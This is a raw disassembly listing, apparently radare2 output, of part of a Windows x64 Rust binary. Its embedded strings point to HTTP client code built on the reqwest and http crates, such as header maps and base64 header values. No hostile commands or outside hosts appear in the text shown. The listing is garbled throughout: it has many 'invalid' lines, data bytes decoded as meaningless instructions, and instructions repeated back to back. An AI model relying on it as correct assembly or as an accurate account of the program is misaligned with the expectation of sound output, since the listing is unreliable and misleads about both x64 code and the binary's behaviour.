mov rcx, qword [r14 + 0x160]
test rcx, rcx
je 0x140051744
xor eax, eax
lock dec qword [rcx]
je 0x14005172b
jmp 0x140051744
ud2
call fcn.140027330
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
lea rbp, [r13 + 1]
cmp qword [rax + 0xa0], 0
mov qword [rax + 0xa8], rbp
mov qword [rsp + 0x128], r12
jne 0x140051dc2
call fcn.140027330
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0xa8]
mov r12, qword [rax + 0xb0]
jmp 0x140051dc2
lea r8, [0x140137f60]
call fcn.140104670
lea r8, [0x140137f60]
mov rcx, r9
call fcn.140104670
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 1
mov rdx, r15
call fcn.140104360
call fcn.140010910
lea rax, [0x14013f570]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x78], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
lea rcx, [rsp + 0x68]
call fcn.140104620
mov ecx, 8
mov edx, 0x10
call fcn.140104380
mov ecx, 8
mov edx, 0x80
call fcn.140104380
mov ecx, 8
mov edx, 0x40
call fcn.140104380
mov ecx, 8
mov edx, 8
call fcn.140104380
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov ecx, 8
mov edx, 0x1c0
call fcn.140104380
mov ecx, 8
mov edx, 0xd8
call fcn.140104380
lea rcx, str.assertion_failed:_head.len____tail.len_____8
lea r8, [0x140137fd8]
mov edx, 0x2e
call fcn.1401046f0
lea r8, [0x140137f90]
mov edx, 8
mov rcx, r13
call fcn.1401046e0
lea r8, [0x140137f78]
mov edx, 8
call fcn.1401046e0
int3
add byte [rax], r8b
inc r14
cmp r14, rsi
je 0x140052775
mov rax, r14
shl rax, 7
loopne 0x14005263a
loopne 0x14005263a
lea rax, [rax + r14*8]
lea rbp, [rdi + rax]
mov rax, qword [rdi + rax]
cmp rax, 3
ja case.default.0x140052657
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x121f80
lea rcx, [0x1401745d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0x58]
cmp rax, r15
je 0x140052620
nop word cs:[rax + rax]
cmp qword [rbp + 0x70], 0
mov r15, rsi
mov rsi, rdi
mov rdi, qword [rsp + 0x20]
je 0x140052620
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call r12
jmp 0x140052620
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
cmp byte [rbp + 0x38], 2
je 0x140052755
lea rcx, [rbp + 0x30]
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x28]
call qword [rax + 0x10]
mov rax, qword [rbp + 8]
lock dec qword [rax]
jne 0x140052685
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
call fcn.1400049d0
jmp 0x140052685
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add al, ch
invalid
or eax, 0x1251bc
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, r13
lea r13, [rsp + 0x38]
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], r12
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r14
lea rax, [0x14016f7a8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x70], r13
mov dword [rsp + 0x70], ebp
mov dword [rsp + 0x70], ebp
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], 0
lea rdx, [0x14013b768]
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x60]
call fcn.140013960
dec dword [rax - 0x75]
and al, 0x30
dec dword [rax - 0x75]
and al, 0x30
test al, al
je case.0x14001a36d.2209
test rcx, rcx
je 0x140058116
mov r14, rcx
mov eax, r14d
and eax, 3
cmp eax, 1
je 0x14005817a
jmp 0x1400581c2
xor r14d, r14d
mov eax, ecx
and eax, 3
cmp eax, 1
je 0x140058127
mov eax, r14d
and eax, 3
cmp eax, 1
je 0x14005817a
jmp 0x1400581c2
lea r14, str.formatter_error
mov eax, ecx
and eax, 3
cmp eax, 1
jne 0x140058106
lea rdi, [rcx - 1]
mov rbx, qword [rcx - 1]
mov r15, qword [rcx + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14005815d
cmp qword [r15 + 0x10], 0x11
jb 0x14005814b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x1400581c2
lea rdi, [r14 - 1]
mov rbx, qword [r14 - 1]
mov r14, qword [r14 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x1400581b0
cmp qword [r14 + 0x10], 0x11
jb 0x14005819e
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xb0]
call fcn.140058310
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x140058281
mov r14, qword [rsp + 0x50]
xor eax, eax
jmp 0x1400581fd
cmp cl, 0x7f
je 0x14005820c
inc rax
cmp rdi, rax
je 0x140058238
movzx ecx, byte [r14 + rax]
cmp cl, 0x1f
ja 0x1400581f0
cmp cl, 9
je 0x1400581f5
lea rax, [0x140140898]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcutil.rs
lea r9, [0x14013ba58]
lea r8, [rsp + 0xb0]
mov edx, 0x22
call fcn.1401049b0
test rdi, rdi
js 0x1400582f2
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400582f7
mov rbx, rax
mov rcx, rax
mov rdx, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
test bl, 1
jne 0x140058295
mov rax, rbx
or rax, 1
lea rcx, [0x140126040]
jmp 0x14005829f
lea rcx, [0x140110a98]
lea rbx, [0x14016f768]
xor eax, eax
xor edi, edi
jmp 0x14005829f
lea rcx, [0x140126058]
mov rax, rbx
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], 1
cmp qword [rsp + 0x48], 0
je 0x1400582ce
mov r8, qword [rsp + 0x50]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140010910
mov ecx, 1
mov rdx, rdi
call fcn.140104360
int3
add al, 0
add byte [rax - 0x7b], cl
invalid
pop rdi
invalid
mov rcx, rax
mov rdx, rdi
call fcn.140104660
lea rcx, [0x14013e34e]
lea r8, [0x14013e3d0]
mov edx, 0x16
call fcn.140104a60
int3
invalid
movaps xmm6, xmmword [rsp + 0x6d0]
movaps xmm7, xmmword [rsp + 0x6e0]
movaps xmm8, xmmword [rsp + 0x6f0]
movaps xmm9, xmmword [rsp + 0x700]
movaps xmm10, xmmword [rsp + 0x710]
add rsp, 0x728
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], 0
add byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x78], rax
and al, 0x78
cmp byte [r15 + 0x1b9], 0
je case.0x14005a5cd.2
movzx eax, byte [rsp + 0x3b0]
test al, al
je case.0x14005a5cd.2
add byte [rax + rax*8 - 0x49f0cc8c], al
rol byte [rbx + 0x1d7401f8], 0x83
clc
add dh, byte [rsi + riz + 0x48]
lea ecx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
movzx eax, al
cmp eax, 1
je 0x140059a28
cmp eax, 2
je case.0x14005a5cd.2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
cmp byte [rsp + 0x3b1], 0
je 0x14005a087
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x390], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
cmp dword [rsp + 0x1a8], 9
jae 0x14005a053
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x480], xmm0
movaps xmm1, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x410], xmm1
mov ecx, dword [rsp + 0x198]
mov edx, dword [rsp + 0x19b]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6b], edx
mov qword [rsp + 0x90], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 8
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], 8
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xe0], 0
mov word [rsp + 0xe8], 0
mov byte [rsp + 0xf0], 0
lea rcx, [0x140126028]
mov qword [rsp + 0x100], rcx
lea rdx, [0x14016f768]
mov qword [rsp + 0x108], rdx
movaps xmm0, xmmword [rsp + 0x410]
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rcx
lea rcx, [0x14016f318]
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], 1
mov qword [rsp + 0x138], 0
mov word [rsp + 0x140], 0xffff
movzx ecx, byte [rsp + 0x2e]
mov byte [rsp + 0x148], cl
mov ecx, dword [rsp + 0x68]
mov edx, dword [rsp + 0x6b]
mov dword [rsp + 0x149], ecx
mov dword [rsp + 0x14c], edx
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], 0
mov byte [rsp + 0x168], 2
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0x90]
lea r8, [rsp + 0x3b0]
call fcn.14005bb60
mov r14, qword [rsp + 0x2b0]
movzx edi, byte [rsp + 0x2b8]
movzx ebx, byte [rsp + 0x2b9]
cmp r14, 3
je 0x14005a998
lea rdx, [rsp + 0x2ba]
lea rsi, [rsp + 0x602]
mov r8d, 0xce
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x389]
mov ecx, dword [rsp + 0x38c]
mov dword [rsp + 0x1a0], eax
mov dword [rsp + 0x1a3], ecx
mov qword [rsp + 0x90], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x478], rax
lea rcx, [rsp + 0x50a]
mov r8d, 0xce
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x1a3]
mov dword [rsp + 0x5d9], eax
mov dword [rsp + 0x5dc], ecx
mov qword [rsp + 0x500], r14
mov byte [rsp + 0x508], dil
mov byte [rsp + 0x509], bl
movzx eax, byte [rsp + 0x2f]
mov byte [rsp + 0x5d8], al
movaps xmm0, xmmword [rsp + 0x460]
movaps xmm1, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0x5e0], xmm0
movaps xmmword [rsp + 0x5f0], xmm1
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1d0]
call fcn.14005be50
lea rsi, [rsp + 0x500]
and al, 0
add eax, 0x89480000
int1
call fcn.1400524f0
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x550], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x540], xmm0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
add byte [rdi], cl
sub dword [rsp + 0x510], ecx
movaps xmmword [rsp + 0x500], xmm0
mov rcx, qword [rsp + 0x3a8]
mov rdx, rsi
call fcn.14005c200
mov rsi, rax
mov rdi, rdx
mov r8d, dword [rsp + 0x1ac]
cmp r8d, 0x3b9aca00
cmp eax, 0x3b9aca00
jne 0x140059ddd
mov r8d, dword [r15 + 0x1a8]
cmp r8d, 0x3b9aca00
jne 0x140059dce
xor eax, eax
jmp 0x140059ee4
mov rax, qword [r15 + 0x1a0]
mov qword [rsp + 0x1c8], rax
lea r9, [0x14013b900]
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x1c8]
call fcn.1400f5260
mov rbx, qword [rsp + 0x90]
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x310], rax
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x300], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x2f0], xmm0
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x2e0], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x2b0], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14005a989
mov qword [rax], rbx
movaps xmm0, xmmword [rsp + 0x2b0]
movaps xmm1, xmmword [rsp + 0x2c0]
movaps xmm2, xmmword [rsp + 0x2d0]
movaps xmm3, xmmword [rsp + 0x2e0]
movups xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
movups xmmword [rax + 0x28], xmm2
movups xmmword [rax + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0x2f0]
movups xmmword [rax + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0x300]
movups xmmword [rax + 0x58], xmm0
mov rcx, qword [rsp + 0x310]
mov qword [rax + 0x68], rcx
lock inc qword [r15]
jle 0x14005aa12
mov r8, qword [rsp + 0x190]
mov qword [r8], r13
mov qword [r8 + 8], r12
mov rcx, qword [rsp + 0x4c0]
mov qword [r8 + 0x20], rcx
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [r8 + 0x10], xmm0
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmm1, xmmword [rsp + 0x1e0]
movaps xmm2, xmmword [rsp + 0x1f0]
movaps xmm3, xmmword [rsp + 0x200]
movups xmmword [r8 + 0x28], xmm0
movups xmmword [r8 + 0x38], xmm1
movups xmmword [r8 + 0x48], xmm2
movups xmmword [r8 + 0x58], xmm3
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [r8 + 0x68], xmm0
movaps xmm0, xmmword [rsp + 0x220]
movups xmmword [r8 + 0x78], xmm0
movaps xmm0, xmmword [rsp + 0x250]
movaps xmm1, xmmword [rsp + 0x260]
movaps xmm2, xmmword [rsp + 0x270]
movaps xmm3, xmmword [rsp + 0x280]
movups xmmword [r8 + 0x98], xmm1
movups xmmword [r8 + 0xa8], xmm2
movups xmmword [r8 + 0xb8], xmm3
movaps xmm1, xmmword [rsp + 0x290]
movups xmmword [r8 + 0xc8], xmm1
mov rcx, qword [rsp + 0x2a0]
mov qword [r8 + 0xd8], rcx
movups xmmword [r8 + 0x88], xmm0
mov qword [r8 + 0xe0], 0
mov qword [r8 + 0xe8], 8
mov qword [r8 + 0xf0], 0
movzx ecx, byte [rsp + 0x2e]
mov byte [r8 + 0xf8], cl
mov ecx, dword [rsp + 0x88]
mov edx, dword [rsp + 0x8b]
mov dword [r8 + 0xfc], edx
mov dword [r8 + 0xf9], ecx
mov rcx, qword [rsp + 0x188]
mov qword [r8 + 0x100], rcx
mov rcx, qword [rsp + 0x60]
mov qword [r8 + 0x108], rcx
mov qword [r8 + 0x110], r15
mov qword [r8 + 0x118], rsi
mov qword [r8 + 0x120], rdi
mov qword [r8 + 0x128], 0
mov qword [r8 + 0x130], rax
jmp 0x140058f04
jne 0x14005a144
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
mov dword [rsp + 0x19b], ecx
mov dword [rsp + 0x198], eax
movzx edi, byte [rsp + 0x60]
mov rsi, qword [rsp + 0x188]
jmp 0x140059a5a
movdqu xmm6, xmmword [0x14013f6b8]
movdqa xmmword [rsp + 0xa0], xmm6
movdqu xmm7, xmmword [0x14013f6a8]
movdqa xmmword [rsp + 0x90], xmm7
mov rsi, qword [rsp + 0x1f8]
test rsi, rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbp
je 0x14005a28a
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0x90]
call fcn.14001f090
mov ebp, eax
movzx r15d, word [rsp + 0x228]
mov ebx, ebp
and ebx, r15d
mov r13, qword [rsp + 0x220]
mov r12, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x218]
mov r9, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x70], al
mov r8, qword [rsp + 0xa0]
xor r14d, r14d
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x180], r9
mov qword [rsp + 0x178], rdx
jmp 0x14005a18e
cmp qword [rsp + 0x60], 0
je 0x14005a51b
js 0x14005aa2c
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, qword [rsp + 0x60]
call fcn.1400e0010
test rax, rax
je 0x14005aa31
mov rsi, rax
jmp 0x14005a520
movzx ecx, byte [rsp + 0x70]
cmp byte [rax + 8], cl
je 0x14005a502
inc r14
inc rbx
mov rax, rbx
nop word cs:[rax + rax]
mov rbx, rax
mov eax, 0
cmp rbx, r13
jae 0x14005a1a0
movzx ecx, word [rdi + rbx*4]
cmp rcx, 0xffff
je 0x14005a265
movzx eax, word [rdi + rbx*4 + 2]
mov r11d, eax
and r11d, r15d
mov r10d, ebx
sub r10d, r11d
and r10d, r15d
cmp r14, r10
ja 0x14005a265
cmp ax, bp
jne 0x14005a188
cmp rsi, rcx
jbe 0x14005a948
test r9, r9
sete r11b
imul rax, rcx, 0x68
mov rcx, qword [r12 + rax + 0x40]
test rcx, rcx
setne r10b
cmp r10b, r11b
je 0x14005a188
add rax, r12
add rax, 0x40
test rcx, rcx
je 0x14005a17a
cmp qword [rax + 0x10], r8
jne 0x14005a188
mov rcx, qword [rax + 8]
mov rsi, r8
call sub.VCRUNTIME140.dll_memcmp
mov rdx, qword [rsp + 0x178]
mov r8, rsi
mov r9, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x50]
test eax, eax
jne 0x14005a188
test r9, r9
je 0x14005a502
lea rcx, [rsp + 0xa8]
call qword [r9 + 0x10]
jmp 0x14005a502
add al, byte [rax]
invalid
test r9, r9
mov r15, qword [rsp + 0x48]
je 0x14005a27b
lea rcx, [rsp + 0xa8]
call qword [r9 + 0x10]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rcx, qword [r15 + 0x1b0]
mov ecx, dword [rdi + 0x1b0]
mov rax, qword [rcx + 0x20]
test rax, rax
je case.0x14005a5cd.2
mov r14, qword [rcx + 0x18]
mov esi, dword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, r14
mov qword [rsp + 0x70], rax
lea rsi, [0x1401745e0]
pcmpeqd xmm8, xmm8
jmp 0x14005a313
lea eax, [rsp + 0x3b0]
call fcn.14005b4a0
cmp dword [rsp + 0x90], 2
jne 0x14005a558
add r14, 0x88
cmp r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x48]
jl 0x14005a321
mov r12, qword [rsp + 0x40]
jl 0x14005a321
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
je case.0x14005a5cd.2
mov rax, qword [r14]
movsxd rax, dword [rsi + rax*4]
invalid
add al, 0x86
add rax, rsi
jmp rax
invalid
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rax + rax*8 + 0x6e5840f], al
invalid
test ch, ah
in eax, 6
je 0x14005aa14
in eax, 6
add byte [rax], al
cmp al, 2
jne 0x14005a4af
mov rax, qword [rsp + 0x3b8]
add byte [rax], al
cmp qword [rax + 0x10], 4
jne 0x14005a2ed
mov rax, qword [rax + 8]
jmp 0x14005a4c4
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rax + rax*8 + 0x6b5840f], al
add byte [rax], al
cmp al, 2
jne 0x14005a3a9
mov rax, qword [rsp + 0x3b8]
mov rbp, qword [rax + 8]
mov r15, qword [rax + 0x10]
jmp 0x14005a3ce
xor r15d, r15d
cmp byte [rsp + 0x3b1], 0
sete r15b
lea rbp, [0x14016efaf]
lea rax, [0x14016efab]
cmove rbp, rax
xor r15, 5
mov rax, qword [r14 + 8]
mov qword [rsp + 0x50], rax
cmp qword [rax + 0x28], 0
je 0x14005a2ed
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x178], rdx
mov r8, rbp
mov r9, r15
call fcn.140052b50
mov rbx, rax
mov rdi, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
xor r13d, r13d
and rbx, r12
movdqu xmm10, xmmword [rdi + rbx]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm9
pmovmskb esi, xmm0
test esi, esi
jne 0x14005a47c
pcmpeqb xmm10, xmm8
pmovmskb eax, xmm10
test eax, eax
lea rsi, [0x1401745e0]
jne 0x14005a2ed
add rbx, r13
add rbx, 0x10
add r13, 0x10
jmp 0x14005a42f
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
test ax, ax
je 0x14005a44a
tzcnt eax, esi
add rax, rbx
and rax, r12
neg rax
imul rax, rax, 0x68
cmp qword [rdi + rax - 0x58], r15
jne 0x14005a470
add rax, rdi
mov rdx, qword [rax - 0x60]
mov rcx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005a470
jmp 0x14005a5ff
cmp byte [rsp + 0x3b1], 0
lea rax, [0x14016efab]
jne 0x14005a2ed
cmp dword [rax], 0x70747468
jne 0x14005a2ed
jmp case.0x140051c27.18
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp case.0x14005a5cd.2
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x60]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140059a5a
cmp byte [rsp + 0xd8], 2
je case.default.0x14005a5cd
lea rcx, [rsp + 0xd0]
mov rax, qword [rsp + 0xb8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc8
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
invalid
invalid
lea rcx, [rsp + 0xb0]
mov rax, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea rcx, [0x1401745f4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
jmp rax
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
add bh, bh
push rax
adc byte [rcx - 0x75], cl
invalid
lea r8, [0x14016efab]
mov r9d, 4
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x178]
call fcn.140052b50
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x18]
mov r8, rax
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r8d, r8d
pcmpeqd xmm1, xmm1
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
jne 0x14005a6ac
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne case.0x14005a5cd.2
add rax, r8
add rax, 0x10
add r8, 0x10
jmp 0x14005a663
lea r10d, [r9 - 1]
and r10d, r9d
mov r9d, r10d
test r10w, r10w
je 0x14005a67d
tzcnt r10d, r9d
add r10, rax
and r10, rdx
neg r10
imul r10, r10, 0x68
cmp qword [rcx + r10 - 0x58], 4
jne 0x14005a69c
add r10, rcx
mov r11, qword [r10 - 0x60]
cmp dword [r11], 0x70747468
jne 0x14005a69c
cmp byte [r10 - 8], 2
je case.0x14005a5cd.2
lea rsi, [r10 - 8]
lea rdx, [r10 - 0x10]
mov rax, qword [r10 - 0x28]
mov r8, qword [r10 - 0x20]
mov r9, qword [r10 - 0x18]
lea rcx, [rsp + 0x410]
call qword [rax]
movzx ebx, byte [rsi]
movups xmm0, xmmword [rsp + 0x410]
movups xmm1, xmmword [rsp + 0x420]
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
mov byte [rsp + 0x4a0], bl
mov eax, dword [rsp + 0x1b0]
mov ecx, dword [rsp + 0x1b3]
mov dword [rsp + 0x4a1], eax
mov dword [rsp + 0x4a4], ecx
movdqa xmmword [rsp + 0x2c0], xmm6
movdqa xmmword [rsp + 0x2b0], xmm7
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1d0]
lea r8, [rsp + 0x2b0]
lea r9, [rsp + 0x480]
call fcn.14004f870
cmp byte [rsp + 0xb0], 3
je 0x14005aa40
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x2d0], rax
movdqu xmm0, xmmword [rsp + 0x90]
add bl, dh
movq mm1, qword [rsp + 0xa0]
add bl, dh
movq mm1, qword [rsp + 0xa0]
movdqa xmmword [rsp + 0x2c0], xmm1
movdqa xmmword [rsp + 0x2b0], xmm0
movq qword [rsp + 0x2b0], mm0
movq qword [rsp + 0x2b0], mm0
cmp al, 2
je case.0x14005a5cd.2
lea rcx, [rsp + 0x2c8]
enter 2, 0
mov rax, qword [rsp + 0x2b0]
mov rdx, qword [rsp + 0x2b8]
invalid
add al, byte [rax]
invalid
mov eax, 0x4c000002
mov eax, dword [rsp + 0x2c0]
mov r8, qword [rsp + 0x2c0]
call qword [rax + 0x10]
jmp case.0x14005a5cd.2
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
cmp byte [r14 + 0x50], 2
je case.0x14005a5cd.2
lea rsi, [r14 + 0x50]
lea rdx, [r14 + 0x48]
mov rax, qword [r14 + 0x30]
mov r8, qword [r14 + 0x38]
mov r9, qword [r14 + 0x40]
jmp 0x14005a6f5
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rdx, rsi
call fcn.140104670
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14005a967
